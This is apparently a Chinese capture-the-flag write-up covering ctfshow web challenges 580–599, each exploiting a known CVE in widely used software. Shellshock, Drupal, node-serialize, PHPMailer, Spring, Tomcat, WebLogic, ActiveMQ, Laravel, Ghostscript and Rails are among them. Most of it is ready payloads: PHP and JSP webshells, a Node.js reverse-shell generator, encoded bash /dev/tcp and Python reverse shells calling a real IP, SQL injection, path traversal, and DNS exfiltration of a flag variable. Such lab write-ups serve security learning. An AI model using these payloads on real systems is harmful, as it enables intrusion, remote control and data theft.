web580

根据提示发现Bash Shellshock 破壳漏洞(CVE-2014-6271)

payload

User-Agent:() { :; }; echo; /bin/cat /flag

web581

参考文章
CVE-2017-6920:Drupal远程代码执行漏洞分析及POC构造

构造反序列化payload

<?php

class log{
    public $filename;
    public $content;
    public function __construct($n,$c){
        $this->filename=$n;
        $this->content=$c;
    }
    public function __destruct(){
        file_put_contents($this->filename, $this->content);
    }
}

echo(serialize(new log("/var/www/html/1.php","<?php @eval(\$_POST[1])?>")));

payload

content=!php/object O:3:"log":2:{s:8:"filename";s:19:"/var/www/html/1.php";s:7:"content";s:24:"<?php @eval($_POST[1])?>";}

web582

参考文章node-serialize反序列化漏洞

poc

var y = {
	poc : function(){
		require('child_process').exec('env', function(error, stdout, stderr){ console.log(stdout) });
	}
}
var s = require('node-serialize');
console.log("Serialized:\n" + s.serialize(y));

nodejs执行命令没有回显

使用nodejsshell.py(需要python2环境)

import sys

if len(sys.argv) != 3:
    print "Usage: %s <LHOST> <LPORT>" % (sys.argv[0])
    sys.exit(0)

IP_ADDR = sys.argv[1]
PORT = sys.argv[2]


def charencode(string):
    """String.CharCode"""
    encoded = ''
    for char in string:
        encoded = encoded + "," + str(ord(char))
    return encoded[1:]

print "[+] LHOST = %s" % (IP_ADDR)
print "[+] LPORT = %s" % (PORT)
NODEJS_REV_SHELL = '''
var net = require('net');
var spawn = require('child_process').spawn;
HOST="%s";
PORT="%s";
TIMEOUT="5000";
if (typeof String.prototype.contains === 'undefined') { String.prototype.contains = function(it) { return this.indexOf(it) != -1; }; }
function c(HOST,PORT) {
    var client = new net.Socket();
    client.connect(PORT, HOST, function() {
        var sh = spawn('/bin/sh',[]);
        client.write("Connected!\\n");
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
        sh.on('exit',function(code,signal){
          client.end("Disconnected!\\n");
        });
    });
    client.on('error', function(e) {
        setTimeout(c(HOST,PORT), TIMEOUT);
    });
}
c(HOST,PORT);
''' % (IP_ADDR, PORT)



print "[+] Encoding"
PAYLOAD = charencode(NODEJS_REV_SHELL)
print "eval(String.fromCharCode(%s))" % (PAYLOAD)

将脚本生成payload加入下方payload处,需要在username参数最后手动添加括号

{"username":"_$$ND_FUNC$$_function(){payload}()","password":"123"}

base64编码后,发送

vps收到反弹shell,执行命令即可。

web583

参考文章PHPMailer 命令执行漏洞(CVE-2016-10033)分析

主要是绕过对email正则的校验,然后利用空格注入sendmail的其他参数命令。

payload

name=<?php%20system('cat%20/flag_is_here');?>&email="aaa".%20-OQueueDirectory=/tmp/.%20-X/var/www/html/a.php%20@aaa.com&message=qaz

web584

参考文章Spring Data REST 远程代码执行漏洞(CVE-2017-8046)分析与复现

使用post方法创建一个用户

使用patch方法修改内容,需要将Content-Type指定为application/json-patch+json
在path参数处注入SpEL表达式。

反弹shell命令

bash -i >& /dev/tcp/ip/port 0>&1

使用脚本编码为bytecode

payload = b'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9pcC9wb3J0IDA+JjE=}|{base64,-d}|{bash,-i}'
bytecode = ','.join(str(i) for i in list(payload))
print(bytecode)

payload

[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{98,97,115,104,32,45,99,32,123,101,99,104,111,44,89,109,70,122,97,67,65,116,97,83,65,43,74,105,65,118,90,71,86,50,76,51,82,106,99,67,57,112,99,67,57,119,98,51,74,48,73,68,65,43,74,106,69,61,125,124,123,98,97,115,101,54,52,44,45,100,125,124,123,98,97,115,104,44,45,105,125}))/lastname", "value": "ctfshow" }]

web585

参考文章Tomcat PUT方法任意写文件漏洞POC CVE-2017-12615

传一个小马

<%
    if("1".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("p")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.print(new String(b));
        }
        out.print("</pre>");
    }
%>

web586

参考WordPress Plugin Double Opt-In for Download 2.0.9 - SQL Injection

需要注册账号并登录。
使用load_file读取/flag_is_here

/wp-admin/admin-ajax.php?action=populate_download_edit_form


id=0 UNION SELECT 1, 2, 4, 5, 6, 7, load_file(0x2f666c61675f69735f68657265)

web587

参考文章[weblogic 远程代码执行 CVE-2019-2725

访问控制台页面/console/login/LoginForm.jsp
发现版本为10.3.6.0

使用工具扫到存在CVE-2017-10271

web588

weblogic版本为12.2.1.3.0

参考文章CVE-2018-2894漏洞复现

利用上题工具执行env

web589

参考文章CVE-2016-3088 ActiveMQ任意文件写入漏洞
访问/admin路径
默认账户密码admin/admin 登录

访问/admin/test/systemProperties.jsp获得web目录的绝对路径

使用PUT方法上传小马

使用MOVE方法移动到web目录下

访问webshell

admin/1.jsp?pwd=1&p=env

web590

参考文章Apereo CAS 4.1 反序列化命令执行漏洞

使用工具Apereo-CAS attack生成payload

使用反弹shell的方式

java -jar .\apereo-cas-attack-1.0-SNAPSHOT-all.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9pcC9wb3J0IDA+JjE=}|{base64,-d}|{bash,-i}"

将payload放在登录包中的execution参数中

web591

参考文章Apache HTTPD 换行解析漏洞分析与复现(CVE-2017-15715)

文件上传处对文件名做了校验,使用%0a的方式绕过,详细分析看上面文章,不要直接换行,会变成0x0d0x0a,使用hex修改的方式在文件名最后添加0x0a

web592

参考文章Apache HTTPD 多后缀解析漏洞

上传文件名为1.php.png
只要给.php后缀增加了处理器,在多个后缀情况下,只要含有.php后缀的文件即将被识别成PHP文件

web593

参考文章Apache SSI 远程命令执行漏洞复现

上传shtml文件

<!--#exec cmd="cat /flag"-->

访问即可执行命令。

web594

参考文章CVE-2021-3129 Laravel Debug mode RCE 漏洞分析

这个漏洞的利用过程还是挺精彩的,主要是利用伪协议清除无关数据干扰,写入phar文件的过程。

生成反序列化payload的工具phpggc

这里利用 Monolog 库的链,也可以用Laravel自带的链。

使用其他人写好的exp,有问题可以自己修改下。😘

web595

参考文章PHP zerodium后门漏洞

User-Agentt: zerodiumsystem('cat /flag');

web596

参考文章PIL-RCE-By-GhostButt

这个漏洞还是很复杂,等有需要再慢慢分析。

上传图片1.png,参考poc.png


将payload处改为反弹shell

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("47.109.140.38",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'

web597

参考文章Ruby On Rails 路径穿越漏洞(CVE-2018-3760)

访问链接/assets/file:%2f%2f/etc/passwd获取允许的目录列表

再使用%252e%252e向上一层跳转读取其他文件。

/assets/file:%2f%2f/usr/src/blog/app/assets/images/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/flag

web598

参考文章Ruby on Rails 路径穿越与任意文件读取漏洞(CVE-2019-5418)

Accept: ../../../../../../../../flag{{

web599

参考文章Ruby NetFTP 模块命令注入漏洞 CVE-2017-17405

自己起一个ftp服务

# 安装pyftpdlib
pip install pyftpdlib

# 在当前目录下启动一个ftp服务器,默认监听在`0.0.0.0:8080`端口
python3 -m pyftpdlib -p 8080 -i 0.0.0.0

参考payload如下

GET /download?uri=ftp://ip:port/&file=|ping${IFS}$FLAG.4d62192e-9edb-4352-9024-cb01ee487a23.dnshook.site${IFS}-c${IFS}5 HTTP/1.1

执行不了命令,不知道为啥。。。

一开始以为是vps防火墙问题,全端口开放后依然无法顺利执行命令。。。